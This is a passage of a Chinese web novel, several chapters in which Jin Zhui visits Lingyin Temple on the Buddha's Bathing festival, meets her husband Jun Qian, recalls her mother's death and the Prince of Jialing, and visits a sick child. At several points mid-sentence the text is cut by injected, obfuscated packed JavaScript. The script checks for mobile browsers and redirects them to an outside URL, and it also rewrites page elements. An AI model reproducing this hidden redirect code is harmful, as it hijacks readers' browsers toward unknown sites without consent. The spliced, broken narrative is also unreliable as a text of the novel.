浴佛池前大排长龙,隽娘排在了队末,金坠只好随她一同等候。前头是两个年岁与她相仿的女子,看装束是富贵人家的女眷与婢子。听她们说话,大约是专程从外地赶来杭州的,特来灵隐寺浴佛祈福。轮到她们时,婢子取杆舀了满满一大杓池水,悄声对其主道: “娘子诚心许愿,神佛保佑,回去准能生个像这如来佛般的大胖小子,看那狐媚子还敢给咱们摆脸色……” 那女子点了点头,合十许完愿后接过竹杓。因杓中盛满了水太重,一时没拿稳,竟失手将那竹竿子砸在了佛像头上,惹得周遭讥笑连连。女子面白如纸,不顾婢子安慰,丢下竹杓捂面而去,须臾便湮没于黑压压的人海中。 金坠忽觉眼前种种聒噪难耐,没来由地生出一阵厌烦。隽娘已上前取过那杆被扔下的竹杓,回身唤她。金坠回过神道: “隽娘先请吧,我看着就好。” 隽娘蹙眉:“你不想浴佛么?” “我……我没什么心愿,恐辜负佛泽,还是算了吧。” 此言一出,边上香客皆向金坠投去狐疑之色。隽娘倒没说什么,兀自上前浴佛祈福了。事毕回头笑道: “佛祖若晓得每年生辰都要被人灌千万勺水,恐一生都不愿洗澡了!走,我们敬香去吧。” 二人又随人流挤到大雄宝殿。佛殿内正如火如荼地举行浴佛法会,但闻锣鼓齐鸣,梵音如雷。殿前一尊偌大的紫金香炉前围满了打破头的香客,夺城略地似的往炉中插香。一时烽火熊熊,黑烟滚滚,熏得人眼眶通红,几欲落泪。 隽娘从随身布包中取出一盒檀香,递了三支给金坠。本已不堪重负的香炉内不断被人见缝插针般供满香,金坠踌躇良久,终于在角落寻到一线空地,冒着浓烟将香插了进去,匆匆掩鼻逃开。隽娘见她这般,不禁问道: “金娘子很少来佛寺进香么?” 金坠赧然道:“幼时常随家里人去相国寺,如今闲散惯了,便很少去了。” 隽娘一哂:“我猜你是嫌此处太吵。这灵隐寺附近的山上还有几座寺庙,人少清净,风景也好,你若有闲,咱们不妨去转转。” 金坠恨不得立刻逃离这八热地狱,忙颔首说好。隽娘笑道: “不过你当真不想许愿么?灵隐寺毕竟是东南名刹之首,极其灵验,多少人不远千里也要来此求告呢。好容易来一遭,香也上了,与神佛面面相觑岂不可惜了。” 金坠闻言,走上前去,远望着佛殿内那尊金碧辉煌的释迦牟尼巨像。如来法相雄伟,高居云端,令人生畏。她恍惚间错觉那双慈严兼具的佛眼化作两道金色利箭,穿透拥簇其下的芸芸众生,正定定审视着自己。心中一凛,仓皇低下头去,从佛殿前逃开。 金坠回身去寻隽娘,想快些离开灵隐寺,却见她正与一个青年僧人搭话。那僧人似是刚在人海中认出隽娘这大施主来,一个劲地向她赔礼致歉,说方丈正主持法会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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隽娘正色道:“说来惭愧,我平日从不抄经,也不茹素,然若有机缘进寺面佛,必虔诚告知。在世上活了这些年月,见了那么多事,愈有烦恼便愈觉得,古今诸多智者大德,实则都与凡人无异,皆有疑惑乏力。个中难处,大抵唯有神佛可解。恰如天上的日月星辰,你信与不信,它都在那里。” 她一番话语不疾不徐,平静之中蕴藏力道。见金坠若有所思,隽娘又指着禅堂后的一间小室道: “这后头经阁中供着些信众布施的佛画经文,金娘子若嫌枯坐无聊,不妨随我去看看吧,都是平日难见的珍品呢。” 金坠十分期待,忙随隽娘往禅堂后的藏经阁中去。甫一入内,便见正中悬挂着一幅偌大的绣像佛画,过去、现在、未来三世佛皆披金色绣线,熠熠生辉,光华灼人。金坠指着画道: “这便是隽娘捐赠的那幅三世佛绣像吧?” “我每年都会绣一幅。这一幅从年初便开始绣了,前日才完工呢。我格外喜欢,差些就舍不得了。奈何世间之物难以长存,送来这法门之内,得佛庇佑,或可保存得久些。” 隽娘说着轻叹一声,举目望着自己亲手绣成的佛像,双手合十,无言祈愿。金坠不去扰她,兀自在经阁内逡巡。目之所及,皆是供奉在此的各色佛画经书,精丽非常,堪比宫中所藏。 金坠逐一浏览,忽在一幅画卷前驻足。隽娘走到她身旁,指着那幅引人沉迷的画道: “很美吧?这是我最喜欢的一幅,每每来此都要看上好久呢。” 金坠怔望着画,轻声道:“这是何时画的?” “前年夏天。画的是嘉陵王殿下巡访杭州,在此与僧人烹茶论经,以及在城中扶救病人、参问因缘的场景。这可是吴越名画师刘松亭的笔墨,我家官人曾重金求购,可惜没买着,只好来这灵隐寺里瞻仰了。” 隽娘言至此,音容凭添几分戚然: “都说嘉陵王殿下堪比天人,这画像远不及他真容半分。可惜再也无缘得见了……这儿还有殿下亲手抄的一卷《普门品》,果真是字如其人呵。但愿菩萨慈悲,让他在身后多享些冥福……” 金坠呆望着那画卷。画中人容止清绝,遗世独立,所行之处步步生莲,如天人降诞,宝相璀璨。她盯着画,眼前浮现的却是那日鹤山山樱谷中的种种—— 那雨中的荒野孤坟,那哀悼与诅咒,那鲜血似凋零的山樱花,以及片片碎裂在梦中的那尊碧玉观音像…… 她忽然感到一阵由内及外的恶寒,浑身不住微微颤抖起来。 “……金娘子怎么了?还好么?” 金坠倏然回过神。隽娘正关切地望来,见她没来由地面色苍白,十分担忧。金坠忙将目光从画卷上移开,强颜道: “此处有些闷,我出去透透风便好。” 43.金萱花 金坠一路小跑,几乎是从藏经阁中仓皇逃出。来到禅堂外,倚着石栏深呼吸一口。 灵隐寺依山而建,此间正是全寺至高处。于古树之下凭栏远眺,可鸟瞰寺院全景。极目尽是香烟氤氲,人头攒动。偌大的百年伽蓝地似一方无涯瀚海,潮起潮落,吞卷着海上漂泊的万千色身。 大雄宝殿中,浴佛法会正至高潮。喧天的钟磬梵呗隆隆袭来,声势浩大,撼人心神。两序大众齐声高唱: “浴佛功德殊胜行,无边胜福皆回向。普愿沉溺诸众生,速往无量光佛刹……” 金坠呆望着这番景象,思绪飘飞,须臾已是遥不可及的往昔——许多年前,她与那人正是在浴佛节这日初见的。 彼时她还小,约莫只有七八岁。那年宫里为给病重的太皇太后祈福,举办了盛大的行像仪式,浴佛当日空前热闹。天色未亮她便被从塌上叫起,与家人一同上街去观赏法会。她前夜通宵看书,睡眼惺忪,怏怏地随叔母及几个姊姊一道挤在女眷席上,只盼着法会尽快结束,好回家补觉。对于眼前转鹭灯般变换的佛国乐土奇景,始终懒得抬眼,只嫌他们聒噪。 如此混沌地捱了许久,忽有一团翠绿生辉的光华从乌泱泱的人海中飘来,近了才看清是只八人抬着的碧玉莲座。 那上面坐着个人,璎珞宝冠,手拈杨枝,正俯身接受座前信众的参拜,为那些激动哭泣的人们赐福。 金坠如梦初醒,指着那人悄声问四姊:“那是谁?” 金尘惊讶道:“你不晓得?那是嘉陵王殿下呀!” 金坠道:“我问的是他扮的那位菩萨。” 金尘笑道:“那是慈航普度观世音菩萨,是众菩萨中最有名望,亦是最美的一位——你看殿下是不是很美?” 随着仪仗接近,众女眷皆似见了天人,高声惊呼不已。那座上之人犹自沉静,眼眸低垂,只以微笑回应。金坠学着旁人模样,在人群之后合掌做礼佛状。目光却不禁追随那碧玉莲座而去,望着那座翡翠凝成的莲形孤岛蜃景一般消湮于人潮。 浴佛会结束后,她回到家中。分明困倦得睁不开眼,却始终辗转难眠,心中只反复默念三字:观世音。 …… 大雄宝殿中的佛会已告终结。泠泠梵钟随风响彻,如泣如诉,似催人眠。金坠听着那钟声,但觉眼前种种真幻难辨,整个人游魂似的,不知不觉走到寺院尽头的后门前。 敬完佛事的香客陆续而出,两个小娘子一路谈笑着从金坠身前经过,叽叽喳喳道: “方才浴佛时你许了什么愿呀?” “自然是请佛祖赐我段好姻缘了!” “你不是前几日还在和人谈婚论嫁么?不会是掰了吧?” “不过是朵烂桃花,掰就掰了!” “可他对你挺好的呀!” “他待我再好,也比不上那一位!我从前的心上人可开朗了,总有说不尽的话。和他在一起时,往往是他说我听。如今那位,多半却是我说他听,没劲极了!” “人之生性不同,要紧的是心意呀。” “他什么都不说,我怎明白他心里想什么?” “那你呢?你就明白自己的心么?” “我……嗳!哪里来的小畜生!吓死我了!” 金坠应声抬头,只见一团黑影自远处袭来,似一道毛茸茸的闪电,从少女们的裙踞中簌簌穿过,蹿到了她身后的草地里。转身望去,却是一只狸花猫,油光水滑,软玉温香,正翻着肚子仰躺在金灿灿的萱草丛中,抱着一物啃得花枝乱颤。 此景诱人,金坠蹑步上前,正要往那柔软的皮毛上摸上几把,忽闻一个熟悉的声音在身后低唤道:“别动!” 金坠蓦然回首,正好与自家夫君四目相接。 “……你怎么在这儿?” 君迁看起来刚经过一段疾跑,喘吁吁地,额上沁着薄汗。见了她亦是讶异,匆忙拭了拭汗,敛容道: “苏通判邀我来韬光寺会客……你呢?” “乔娘子邀我来灵隐寺上香。你慌慌张张地做什么?” “这只猫抢走了禅师赠我的见面礼,我正捉它。” 君迁一本正经地指了指那只花丛中的狸花猫。金坠好奇道:“是什么好礼,惹得猫儿来抢?” “是只香囊。” “那香囊里有鱼么?” “我也不知有什么……站住!” 正说话间,那猫儿发现了追兵,叼着赃物一溜烟没了影儿。任凭君迁眼疾手快,终是身手悬殊,只得目送那小毛贼逍遥而去,消失在野花丛中。金坠见他面露不甘,好声安慰道: “算了,何必同一只猫儿计较?今日浴佛节,就当是送它的节礼了。” 君迁叹了口气,转过身来,正打算说什么,皱眉望着她通红的眼圈:“你的眼睛……” 金坠一怔,垂眸道:“寺里烟熏火燎,被灼的。吹吹风就好了……” 君迁不待她说完,疾步至身后一片竹林中,折下小半节细竹管,俯身在一旁溪涧中冲洗片刻,回到金坠身旁:“抬头。” 医嘱难拒,金坠只好乖乖昂起头来。君迁轻捧着她的脸,举起那根细竹管,柔声道:“会有些痒,尽量别眨眼。” 金坠用力睁着眼,感觉有甘露从那细竹管中流入眼底,滴滴清润,问道:“这是什么?” “紫竹沥,佐清水滴入眼中可舒缓明目。”君迁滴完药水,往她眼中轻轻一吹,“可以闭眼了。好些了么?” 金坠闭上眼,果觉双目清凉舒畅无比,干涩尽除。朝他合十一拜,笑道:“多谢药师如来使我重见天日!” 君迁淡淡一笑。二人相向而立,一时无话,身后忽有人远远道:“如何,那小毛贼捉到了么?” 金坠闻声回首,见一位中年官人从灵隐寺后门外的山道上走来。其人举止儒雅,器宇不凡,她便猜那就是君迁提过的那位苏夔苏通判,忙上前见了礼,摇头苦笑道: “跑得飞快,人赃俱丢。” 苏夔向她回了礼,亦苦笑道:“云泉禅师有言,那小狸奴可是个惯犯。本想收留它在禅门,耳濡目染,使之改邪归正,不想却是本性难移——还是金娘子大度,不似尊夫,看他方才那奋起直追的模样,真要分出个你死我活才罢休哩!” 君迁赧然道:“那毕竟是禅师亲自调制的秘方,冒然丢失恐……” 话音未落,苏夔朗声大笑: “什么秘方!那香囊里不过是些鱼香草,逗逗猫儿,顺便逗逗你这尊不苟言笑的药师如来罢了!云泉老儿一向是个化外狂僧,不识礼数,随手同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191968|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你开个玩笑,谁知你竟当真一路追着那狸奴下山来了!” 此言一出,金坠早已在一旁掩嘴窃笑。君迁明白过来,哭笑不得,神情颇为窘默。苏夔正色道: “只怪我非拉着你来!沈学士不吝传授了许多养生经方给他,他反来恩将仇报!今日多有冒犯,我且代他赔个不是。君仁心仁术,切莫同那老顽童一般见识!” 君迁摇了摇头,微哂道:“禅师本性率真,无需挂怀。鱼香草本是一味良药,若调配得当,亦可有奇效的。” 金坠噗嗤一笑:“我倒是见识到这奇效了。” 正说笑着,乔隽娘亦远远向这边而来。金坠想到自己适才浑浑噩噩,竟撇下她而去,忙跑去致歉。隽娘笑道无妨,端量着君迁道: “这位便是沈学士吧?” 君迁忙上前见礼。二人寒暄片刻,隽娘望见边上的苏夔,惊喜道:“苏通判也来灵隐浴佛么?真是不巧,竟出了寺院才碰着!” 苏夔谦谦回礼:“功德浅薄,不敢踏足这天竺飞来的宝地,今日去的是后山韬光寺。乔娘子已浴完佛了吧?” 二人闲话几句,隽娘又道:“前回贵府在鄙店定制的夏衣可还合身么?” 苏夔道:“承蒙匠心,家母与内子都说从未穿过如此精致柔软的衣裳。小女更是欢喜得不行,指定年年生日都要穿乔娘子绣的新裙子哩!听她们那么说,倒勾得我也想穿新衣了,正想着要来贵店做一件呢。” 隽娘笑道:“承蒙厚爱,苏通判目下若有空闲,不妨移步鄙店,我亲自为通判量体裁衣,你看可好?” 苏夔亦笑道:“如此甚好,那便有劳乔娘子了。” 金坠见他们要去绣坊,忙道:“那我也……” “浴佛三日节休,上工且待来日不迟。”隽娘柔声打断她,“金娘子今日也累了,早些让尊夫陪你回家歇息才是。” 苏夔亦叮嘱君迁道:“听到了么?上工且待来日,今日不许去药局了——良辰不待人,快去陪娘子吧。” 各自的上司都如此交代,只得恭敬不如从命。二人辞别了苏通判与乔隽娘,沿着萱草花盛开的山间小道慢慢走下。 暖风微拂,山寺下来的石阶两旁绿茵如浪。野萱草的花儿似一盏盏倒悬的六角金铃,在风中碰撞出簌簌清音,明灿灿一片,晃得人目眩神迷。金坠指着花丛问君迁: “你还想找找方才那只小毛贼么?指不定正躲在哪朵花后面偷吃你的香药呢。” “随它去吧。”君迁一哂,“鱼香草利消化,吃些对它也好。” “好羡慕它,偷了东西也不会遭人记恨,吃饱喝足便躺在花丛里睡午觉,真是个无事小神仙……” 金坠在萱草丛前俯着身,出神地凝望着那片金色芳草。 “说到香囊,倒让我想起小时候的事了。以往每岁生辰将近,到处都像这样金灿灿的,开满了萱草花。我娘总会带着我去野外采一筐回来,晒干后缝进香囊给我做护符,还在上面绣了各种颜色的花草,可惜后来搬家时都丢失了……娘走后,再没人做这样的香囊给我了。” 她伸手轻抚过丝绢般柔软的花丛,轻叹一声,忽听君迁问道: “你的生辰,是后日么?” 金坠一怔,起身盯着他:“你怎知我的生辰?” 44.疗忧草 君迁迟疑片刻,低低道:“定亲时曾看过你的八字。” “不会吧!那玩意儿你竟当真?”金坠瞪大了眼,“我都没看你的呢!” 君迁道:“此前亦曾听四娘子提起过。” “难怪。自从母亲走后,世上也只有四姊姊还记得我的生辰了。” 金坠叹了口气,仰头望着天穹尽头一朵洁白的游云,喃喃道: “其实我从小就讨厌过生日,总想忘记这一天,却没办法忘掉……后日也是我娘的祭日。” “抱歉,我不知……”君迁嗫嚅,“你母亲是何时……?” “娘生下我后,身子一直不好。那年冬天,娘自感时日无多,便拖着病体带我上京,在金府门前的雪地上跪了一夜,求他们照看我。幸得老夫人开恩,让我母女留在府里。娘自那之后便一病不起,在来年浴佛节的后日走了——那天我刚满六岁。我那时以为,是我守在母亲塌前忘了去进香,惹怒了神佛,才送我这样一份残忍的寿礼。” 金坠戚然一笑,咬着唇说下去: “娘是乐籍出身,进不得金家祠堂的。叔父派人将娘的遗骨送回蜀地的故乡,给了她哥哥一笔丧葬金。后来我才知道,我那舅舅带着钱进城去成了家,只将我娘草草埋在山上……这些年来,我从不曾去娘的坟前看过她。及笄那年,本想攒些盘缠偷偷去的,不慎败露行踪被关了禁闭,便再去不成了。” 君迁黯然道:“你母亲的墓葬……金宰执夫妇知晓此事么?” “我的生父早已与金家断了关联,叔父叔母收留我这些年,又为我娘的后事出钱出力,已是开了天恩,怎好再拿这晦事烦他们?” 金坠不无嘲讽地叹息一声,垂眸轻语: “是嘉陵王殿下。当初殿下与我相识不久,得知此事,亲自去了一趟蜀地,不仅替我重新安葬了母亲,还将整座山的无主之墓都好生修缮了——就为这一件事,我永生感激殿下。” 君迁欲言又止,柔声道:“蜀地距此不算远,你若想前往祭扫……” “我还得在隽娘那儿做工呢,哪能说去便去。再说盘缠也不够啊。”金坠苦笑,“我在屋中为母亲设了灵位,后日只能先在这里陪她说说话了。待今后得了钱与闲,定会去墓前看望她的。” 她收敛了哀色,复又扬起脸来眄着他: “光顾着说我了。你呢?你的生辰是什么时候?” 君迁回过神来:“是七月,还早。” “七月哪一日?” “初七。” “鹊桥会?” 金坠十分惊讶,见他当真点了点头,噗嗤一笑道: “那可真是个好日子呢!正巧我也算得个流落人间的织女,你喜欢什么纹样,届时我织些送你做寿礼吧。” 君迁莞尔:“那真是受宠若惊。” 金坠正色:“不用惊,礼尚往来便好——话说回来,你打算送我什么寿礼?” 君迁抿了抿唇:“你不是不打算过生日么?” “流水无情落花有意,我不过你就不送?” “你想要什么?” “你想送什么?” “你猜我想送什么?” “我知道你葫芦里卖什么药?等等,你不会又同聘礼一般送我盒药吧?” “你不喜欢?” “你以为人人都如你一般是神农再世,爱品百草?你非要送也无妨,先说好,我只欠你那山茱萸果的十金,你可别再卖我什么灵丹妙药,到时又来狮子大开口!” 君迁淡淡一笑,垂目望着被风拂动的萱草花丛,认真说道: “那十金你不必还了……上回说好的。” “何时说好的?” 金坠此言一出,旋即想到几日前两人被关在凤凰山药王庙石窟中的那夜。刻在窟壁上的那些忏悔私语幽幽盘旋眼前,她撇撇嘴,自嘲道: “好吧,你我也算狭路相逢泯恩仇了——然而我一向是个言而有信之人。我在隽娘那里领的绣活下月便交工,届时工钱入账,正好还你。” “可……” “别急着谦让,这钱不是给你的。刚巧你在凤凰山的药王道场开张,用这钱去买些药具药材,权当我为施济事业攒些功德了。” 君迁闻言一时诧异,见她满脸严肃,只得颔首道谢,又正色道: “施济局之事进展顺利,若无意外,下月便可建成启用。届时我安顿好这里的事,便送你回……” 金坠截住他的话,冷笑道:“送我回娘家?叔父在朝中栽了跟头,若再见到我被人撵回家去,指不定气得绊倒在门槛上了!” 君迁一怔,淡淡道:“你若不愿回帝京,亦可去别处。” “别处?别处是哪儿?海里,还是天上?” 她心中蓦然涌起丝丝凄楚,间杂一股无名的愠怒,冷着眉眼直瞪他,脱口而出这几句质询。君迁不语,敛眉静望着她,目中微澜,似有所言,终究只是沉默。 二人相顾无言,金坠冷静下来,收敛异色,冷冷道: “抱歉,我又耍性子造口业了。别处便别处吧,海阔天空,终归有我容身之地。” 语毕兀自转身,面向金绣毯似的萱草花丛,迎着暮春的暖风闭上双眸。 “不想这些了——此刻我只想躺在这里,好好睡上一觉,什么梦也不做,只是睡觉。最好一觉醒来,仍然是夏天,花也仍开着,而我已将一切都忘掉了……” “有些事,或许还是记得更好。” 君迁忽轻轻在她身后说道。金坠一愣:“譬如呢?” 她俯身折下一枝萱草,回身在他眼前晃了晃。见他不语,又折下一枝来,逐片扯下那金闪闪的花瓣,两指一松,任由它们飘散在风中,回过头来望着君迁: “其实我一直很好奇——世上的草药那么多,你当初为何独送我一盒山茱萸果?” 君迁一怔,欲言又止,垂眸道:“备聘礼时正巧在手边,便随手取来凑数。” “随手?原来你当初是在药园子里给我挑聘礼的啊?”金坠嗔道,“良药三千,你偏选中这一种。看来我与这小红果子的缘分还不浅呢!” 她曼声自嘲,又扯下一枝金萱草来把玩。君迁正想说什么,身后忽响起一个脆生生的声儿: “好好的花儿,你扯它作甚!” 金坠闻声回首,瞧见方才那狸花猫消失的花丛中嗖地蹿出个小人儿。是个十来岁的男孩,浑身灰扑扑的,活像个刚用泥捏出来的摩睺罗。若非不信怪力乱神,她还以为是那只狸奴成仙了呢。 男孩见她瞅着自己,毫不客气地嚷道:“看什么看,说的就是你!” 金坠扔掉手上扯光了花瓣的梗子,冷冷道:“怎么,这花儿是你种的,别人都摘不得?” 摩睺罗理直气壮:“是我先发现的,都被你扯光了,别人想采可怎么办!” “那你说说,这花叫什么名,说对了就让给你。” “凭什么不是你说?” “你这么机灵,我考考你呀!说吧,这叫什么?” “这……” 摩睺罗面露难色,歪头盯着面前成片金色野花。正语塞时,一旁花丛中又有个女孩子的声音道: “这是疗忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199542|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草,又叫萱草,入药用的!真笨,上回在药局里不是教你认过了!” 男孩回头嘀咕:“这都长得差不多,我哪儿分得清嘛……你确定是这种?” “那位沈学士不是说过,疗忧草和艾叶、茼蒿、紫花地丁一道泡澡,可以治好风寒嘛!快多采些回去,就差这一味了!” 女孩也从金灿灿的花丛中探出头来,同样灰头土脸,样貌与男孩生得极像,一看便是对龙凤胎。她一手提着个竹篮,篮中堆满各种野花野草,原是来山上采药的。金坠连忙回头唤君迁道: “沈学士,这儿有两位你的小药童呢!” 君迁早瞧见他们了,莞尔向他们走去。两个小孩听金坠一唤,齐齐朝她身后望去,惊喜道: “沈学士!” “阿安,阿泰。”君迁温和地向他们打了招呼,“你们怎么在这儿?” “我们家隔壁的妹妹又生病了,今日药局不开门,我们便想照你上回教的法子采些草药回去让她洗个药浴,驱驱邪气。”女孩阿安道,“沈学士是来灵隐寺浴佛的么?” 君迁点点头。男孩阿泰侧眼瞅着金坠,低低道:“那她是……” “废话真多,这当然是沈学士的娘子啊!”阿安白他一眼,“你方才冒冒失失的,不会打搅了别人幽会吧!” 阿泰张大嘴盯着君迁:“沈学士竟有娘子?” 金坠笑道:“他是医门中人,又不是佛门,怎么不能有娘子?” 阿安讥道:“就是,你当人人都像你一样傻乎乎的,讨不到女孩子喜欢?快些将药采了回去,耽误了给寿娘治病,她以后可不愿嫁给你了!” 阿泰闻言红了脸,向他姊姊冷哼一声,兀自钻进萱草丛中采药了。君迁问阿安:“你们都采了些什么药?” 阿安忙将手中满满一篮草药递给君迁请他检查,糯声糯气道:“都是按沈学士上回教的方子采的,一上午只找到这些,你看可够么?” 君迁伸手在篮子里拨了拨,颔首道:“不错,都采齐了。药浴用这些便足够了。” “真厉害,小小年纪竟认识那么多种草药!这里头除了萱草,我可都叫不出名呢。” 金坠瞧见那满满一篮子草药,不禁望洋兴叹。阿安笑道: “娘子过奖了!我阿娘身子弱,每天要喝许多药。外头买药贵,我们就自己采回家熬。这一带山上有许多草药,我们常来。还要多谢沈学士,药局里那么多大夫,就属他人最好,常教我们辨认药材,还告诉我们许多医方。上回他送了我一本百草图集,以后再也不怕采错药了!” 正说着,阿泰抱着一把刚摘的野萱草探起头来,问君迁道:“沈学士,你现在有空么,能同我们一道去看看寿娘么?” 阿安冲弟弟嘘了一声:“沈学士难得休息一日,还要陪娘子呢,别打搅他!” 金坠问阿泰道:“你的朋友还好么?她生了什么病?” 方才不可一世的摩睺罗低下头去,小声道: “寿娘天生身子弱,隔三差五风寒就要发作,可难受了。今天是她的生辰,我们约好要出去玩儿,可惜她病了,只能待在家里。我,我怕她一个人胡思乱想……” 金坠轻叹一声,回头将君迁往身前一拽,莞尔道: “别担心,有他药王真人药师如来在此,你朋友的病很快便会好的。” 阿泰一喜,歪头望着他俩:“可你们不是正在幽会么?” 君迁正色道:“我们其实……” “其实已经幽会完了。”金坠接过他的话,朝阿泰一笑,“走吧,该轮到你去和你的心上人幽会了!” 45.斗百草 病童寿娘家住城中一处热闹坊巷后。整条街都是售卖泥孩儿之类小玩意的摊贩,故人称“孩儿巷”。 正值浴佛盛节,街上沸反盈天,每处货摊前皆是拖儿带女来买玩具的。卖得最好的自是泥塑童佛像,小孩子们人手一个,竞相攀比,乐不可支。更有富贵人家的小郎君被打扮成小悉达多太子,金装玉琢,眉心点红,由一班家眷簇拥着乘车出游,宛如从天竺佛土远道而来。真真假假的孩儿们齐聚一堂,俨然成了个闹哄哄的小人国。 金坠和君迁在龙凤胎姊弟的带领下穿过闹市,拐进后边一条无名小弄里。一巷之隔,判若霄壤。此间阴暗潮湿,蚊蝇啸聚,充斥着刺鼻的腐败气味。逼仄的弄堂两旁滴滴答答,横七竖八,晾满了粗布衣物。衣上补丁遮天蔽日,隔绝了初夏晴明的青穹。目之所及皆晦暗,唯有墙角一枝野凌霄花透出些许亮色,红润的花朵倚着土墙攀援而上,似尽力逃脱这方不见天日的地牢。 带路的姊弟在那花墙下的破柴门前停下。阿泰敲了敲门,亟亟唤道: “寿妹妹,我们来看你了!” 应门的是个瘦弱少妇,当是那病童的母亲。见了来客,受宠若惊,忙请他们进屋。说是屋,不过是间透风的茅草棚。所幸今日未雨,星点日光从屋顶的漏缝间洒入,使得这间阴冷的小屋有了些夏意。 母亲忙着烧药浴用的热水,众人便先去看望生病的寿娘。只见屋角的草榻上卧着个八九岁的女孩儿,生得极美,也极苍白,怯生生地裹在一床单薄的破衾被里。见了他们,被风吹起的纸片儿似的坐起身来。阿泰连忙跑上前扶着她道: “寿妹妹,你怎么样了?这是药局新来的沈学士和他家金娘子,听说你病了,特意来看你呢!沈学士医术高明,人称药师佛下凡!我们照他教的方子采了许多草药来,一会儿你用它们泡个澡,病就会好了!” 阿泰说着,将从灵隐后山上采来的一篮子草药搁在榻沿。女孩浅浅一笑,从篮子最上面取出一枝萱草花,好奇地嗅着。金色的花朵灿烂明艳,却在她脸上映不出半分血色。 “这是什么花儿呀?”寿娘轻轻问道。 “这是萱草,也叫疗忧草,不仅能治病,你的心情也会好起来的!” 阿安也取出一枝萱草,折下花头,俯身替寿娘簪在鬓角,笑道:“你瞧,很漂亮吧!今天是你的生日,一会儿用这些疗忧草编个花环给你戴上,你说好不好?” 阿泰急道:“这不是入药用的吗,怎能浪费?” “笨!萱草入药只取花茎,花头是没用的!沈学士,我说的对不对?” 阿安扭头询问君迁。君迁点点头,面露微笑,颇有出师的欣慰感。寿娘听说要给自己编花环,雀跃不已,伸手抚弄着簪在发上的萱花,四下张望,似想看清自己戴着花的模样。 金坠见状,想拿一面镜子给她。可这样一间屋里又怎会有铜镜呢?左顾右盼,瞥见君迁腰带上系的汉白玉佩,遂低声问他:“能借你的佩玉一用么?” 君迁也不多问,解下玉递给她。金坠接过,坐到塌沿,一手搂着寿娘的肩,一手将玉佩像铜镜似的举在她面前,柔声道:“看。” 白玉清润,隐隐照出女孩小小的容颜。金花雪肌映在玉中,端的是药师经所云,身如琉璃,内外净澈。寿娘难得照镜子,高兴极了,病容顿时减轻不少。趁她打理着鬓发,金坠回过头,向君迁使了个眼色。 君迁会意,走上前来,俯身在塌前跪下,轻攥过寿娘的手去诊脉。金坠侧身注视着他,见他眉心微蹙,隐有凝重之色,不禁心下一凛。一旁的龙凤胎姊弟焦急道: “沈学士,寿娘到底得了什么病,多久能治好?” “没事的,只是风寒。”君迁神色如常,柔声问寿娘道,“你平日都在喝什么药?” “都是娘亲自己熬的,安姊姊和泰哥哥也会采药来。”女孩轻声道,“那些药都很苦,我不爱喝……” 阿泰道:“良药才苦口嘛!你不喝药,病怎么会好呢?” “也有不苦的药。”君迁回身道,“阿安,阿泰,明日烦请你们来趟药局,我开些方子给寿娘,你们将药带给她,按方服用,她的病会好些的。” 寿娘睁大了眼:“真的不苦么?” “不苦。”君迁摇摇头,“你记得按时喝,不久便能康复的。” 寿娘点点头。龙凤胎闻言,皆面露喜色,对着君迁一通崇拜溢美。闲话片刻,阿安提议道: “采了那么多草药回来,趁水还没烧热,咱们来斗百草吧!” 阿泰道:“好呀,怎么个斗法?像拔河一般,比谁的草先扯断么?” 阿安嗔道:“你那是武斗,怪粗俗的!咱们要玩便玩些文雅的,来对百草对子如何?” 寿娘道:“百草对子是什么?” 阿安道:“大伙儿轮流从篮子里取花草来作对子,譬如我说长春,你就要说半夏。我说金盏草,你需说玉簪花。我说观音柳,你说罗汉松!谁对不出,谁就要受罚!” 金坠道:“那我可输定了!我连这些草药的名儿都叫不上来,可怎么玩?” 阿安笑道:“姊姊是读过书的大家闺秀,定难不住你!” 阿泰道:“有沈学士在,谁还能夺魁呀?不公平!” 阿安道:“那让沈学士当裁判,看着咱们玩儿便是!” 孩子们摩拳擦掌,做大人的不好扫兴,金坠和君迁只得陪着他们斗起花草来。阿安眼疾手快,从篮中取出一根黑魆魆的草枝,朗声道: “我先来——我有黑墨草!” 阿泰应声取出一朵红花:“我有赤朱花!” 寿娘也取出朵花道:“我有慈姑花!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寿娘一本正经地对她道:“你们两个成亲了吧?我偷偷观察了好久,为何你们从来不怎么看对方,连碰都不碰一下?是吵架了么?” 金坠嗫嚅:“没有吵架,我们只是……只是关系不太好。” 寿娘狡黠一笑:“那姊姊亲他一下,不就是罚你么?” 阿安在一旁跟着起哄:“是啊,今天可是寿娘的生日,她说了算,金姊姊快亲沈学士一下吧!” “我……” 金坠不知该怎么办,一时如泥塑木雕,只呆坐在原处,低头望着手里那枝明黄繁星般的花枝。半晌,忽感有人近身。抬起头,君迁正在眼前,微俯下身来,在她额上留下个落花般飘散无踪的吻。 “算我代她受罚吧。” 46.黄金花 